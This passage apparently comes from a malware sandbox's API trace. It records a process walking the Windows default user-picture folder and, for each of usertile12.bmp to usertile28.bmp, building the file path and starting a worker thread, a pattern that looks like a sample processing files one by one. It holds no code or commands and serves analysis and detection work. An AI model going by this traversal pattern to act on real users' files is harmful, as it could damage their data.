_Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.389] wcscat (in: _Dest=0x8feab0, _Source="usertile12.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" [0140.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8feab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0 [0140.390] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae29b72e, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae29b72e, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb76b98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile13.bmp", cAlternateFileName="")) returned 1 [0140.390] wcscmp (_String1="usertile13.bmp", _String2=".") returned 1 [0140.390] wcscmp (_String1="usertile13.bmp", _String2="..") returned 1 [0140.390] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x8f60f0 [0140.390] wcscpy (in: _Dest=0x8f60f0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.390] wcscat (in: _Dest=0x8f60f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.390] wcscat (in: _Dest=0x8f60f0, _Source="usertile13.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" [0140.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f60f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8 [0140.391] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb82a065, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile14.bmp", cAlternateFileName="")) returned 1 [0140.391] wcscmp (_String1="usertile14.bmp", _String2=".") returned 1 [0140.392] wcscmp (_String1="usertile14.bmp", _String2="..") returned 1 [0140.392] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x8f6198 [0140.392] wcscpy (in: _Dest=0x8f6198, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.392] wcscat (in: _Dest=0x8f6198, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.392] wcscat (in: _Dest=0x8f6198, _Source="usertile14.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" [0140.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f6198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4 [0140.393] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdbb95fd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile15.bmp", cAlternateFileName="")) returned 1 [0140.393] wcscmp (_String1="usertile15.bmp", _String2=".") returned 1 [0140.393] wcscmp (_String1="usertile15.bmp", _String2="..") returned 1 [0140.393] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x8f3a00 [0140.393] wcscpy (in: _Dest=0x8f3a00, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.393] wcscat (in: _Dest=0x8f3a00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.393] wcscat (in: _Dest=0x8f3a00, _Source="usertile15.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" [0140.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f3a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200 [0140.394] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae30db45, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae30db45, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdca9c9ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile16.bmp", cAlternateFileName="")) returned 1 [0140.394] wcscmp (_String1="usertile16.bmp", _String2=".") returned 1 [0140.394] wcscmp (_String1="usertile16.bmp", _String2="..") returned 1 [0140.394] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x8f3aa8 [0140.394] wcscpy (in: _Dest=0x8f3aa8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.394] wcscat (in: _Dest=0x8f3aa8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.395] wcscat (in: _Dest=0x8f3aa8, _Source="usertile16.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" [0140.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f3aa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208 [0140.395] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc3f8f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile17.bmp", cAlternateFileName="")) returned 1 [0140.396] wcscmp (_String1="usertile17.bmp", _String2=".") returned 1 [0140.396] wcscmp (_String1="usertile17.bmp", _String2="..") returned 1 [0140.396] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x8f3b50 [0140.396] wcscpy (in: _Dest=0x8f3b50, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.396] wcscat (in: _Dest=0x8f3b50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.396] wcscat (in: _Dest=0x8f3b50, _Source="usertile17.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" [0140.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f3b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234 [0140.397] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc65a55, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile18.bmp", cAlternateFileName="")) returned 1 [0140.397] wcscmp (_String1="usertile18.bmp", _String2=".") returned 1 [0140.397] wcscmp (_String1="usertile18.bmp", _String2="..") returned 1 [0140.397] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x8f3bf8 [0140.397] wcscpy (in: _Dest=0x8f3bf8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.397] wcscat (in: _Dest=0x8f3bf8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.397] wcscat (in: _Dest=0x8f3bf8, _Source="usertile18.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" [0140.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f3bf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0140.399] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae359dff, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae359dff, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc8bbb3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile19.bmp", cAlternateFileName="")) returned 1 [0140.399] wcscmp (_String1="usertile19.bmp", _String2=".") returned 1 [0140.399] wcscmp (_String1="usertile19.bmp", _String2="..") returned 1 [0140.399] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x8f3ca0 [0140.399] wcscpy (in: _Dest=0x8f3ca0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.399] wcscat (in: _Dest=0x8f3ca0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.399] wcscat (in: _Dest=0x8f3ca0, _Source="usertile19.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" [0140.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f3ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0140.400] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae37ff5c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae37ff5c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdccb1d11, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile20.bmp", cAlternateFileName="")) returned 1 [0140.400] wcscmp (_String1="usertile20.bmp", _String2=".") returned 1 [0140.400] wcscmp (_String1="usertile20.bmp", _String2="..") returned 1 [0140.400] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x8f3d48 [0140.400] wcscpy (in: _Dest=0x8f3d48, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.400] wcscat (in: _Dest=0x8f3d48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.400] wcscat (in: _Dest=0x8f3d48, _Source="usertile20.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" [0140.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f3d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424 [0140.401] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd069f3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile21.bmp", cAlternateFileName="")) returned 1 [0140.401] wcscmp (_String1="usertile21.bmp", _String2=".") returned 1 [0140.401] wcscmp (_String1="usertile21.bmp", _String2="..") returned 1 [0140.401] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x933940 [0140.401] wcscpy (in: _Dest=0x933940, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.401] wcscat (in: _Dest=0x933940, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.401] wcscat (in: _Dest=0x933940, _Source="usertile21.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" [0140.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x933940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428 [0140.402] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd09009d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile22.bmp", cAlternateFileName="")) returned 1 [0140.403] wcscmp (_String1="usertile22.bmp", _String2=".") returned 1 [0140.403] wcscmp (_String1="usertile22.bmp", _String2="..") returned 1 [0140.403] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x9339e8 [0140.403] wcscpy (in: _Dest=0x9339e8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.403] wcscat (in: _Dest=0x9339e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.403] wcscat (in: _Dest=0x9339e8, _Source="usertile22.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" [0140.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9339e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c [0140.404] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3cc216, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3cc216, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd0b61fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile23.bmp", cAlternateFileName="")) returned 1 [0140.404] wcscmp (_String1="usertile23.bmp", _String2=".") returned 1 [0140.404] wcscmp (_String1="usertile23.bmp", _String2="..") returned 1 [0140.404] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x933a90 [0140.404] wcscpy (in: _Dest=0x933a90, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.404] wcscat (in: _Dest=0x933a90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.404] wcscat (in: _Dest=0x933a90, _Source="usertile23.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" [0140.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x933a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0140.405] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd232fa7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile24.bmp", cAlternateFileName="")) returned 1 [0140.405] wcscmp (_String1="usertile24.bmp", _String2=".") returned 1 [0140.405] wcscmp (_String1="usertile24.bmp", _String2="..") returned 1 [0140.405] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x933b38 [0140.405] wcscpy (in: _Dest=0x933b38, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.405] wcscat (in: _Dest=0x933b38, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.405] wcscat (in: _Dest=0x933b38, _Source="usertile24.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" [0140.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x933b38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0140.407] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd259105, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile25.bmp", cAlternateFileName="")) returned 1 [0140.407] wcscmp (_String1="usertile25.bmp", _String2=".") returned 1 [0140.407] wcscmp (_String1="usertile25.bmp", _String2="..") returned 1 [0140.407] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x933be0 [0140.407] wcscpy (in: _Dest=0x933be0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.407] wcscat (in: _Dest=0x933be0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.407] wcscat (in: _Dest=0x933be0, _Source="usertile25.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" [0140.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x933be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0140.408] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd27f263, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile26.bmp", cAlternateFileName="")) returned 1 [0140.408] wcscmp (_String1="usertile26.bmp", _String2=".") returned 1 [0140.408] wcscmp (_String1="usertile26.bmp", _String2="..") returned 1 [0140.408] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x933ca0 [0140.410] wcscpy (in: _Dest=0x933ca0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.410] wcscat (in: _Dest=0x933ca0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.410] wcscat (in: _Dest=0x933ca0, _Source="usertile26.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" [0140.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x933ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0140.411] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4184d0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4184d0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd2a53c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile27.bmp", cAlternateFileName="")) returned 1 [0140.411] wcscmp (_String1="usertile27.bmp", _String2=".") returned 1 [0140.411] wcscmp (_String1="usertile27.bmp", _String2="..") returned 1 [0140.411] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x933d48 [0140.411] wcscpy (in: _Dest=0x933d48, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.411] wcscat (in: _Dest=0x933d48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.411] wcscat (in: _Dest=0x933d48, _Source="usertile27.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" [0140.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x933d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0140.413] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3177db, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile28.bmp", cAlternateFileName="")) returned 1 [0140.413] wcscmp (_String1="usertile28.bmp", _String2=".") returned 1 [0140.413] wcscmp (_String1="usertile28.bmp", _String2="..") returned 1 [0140.413] 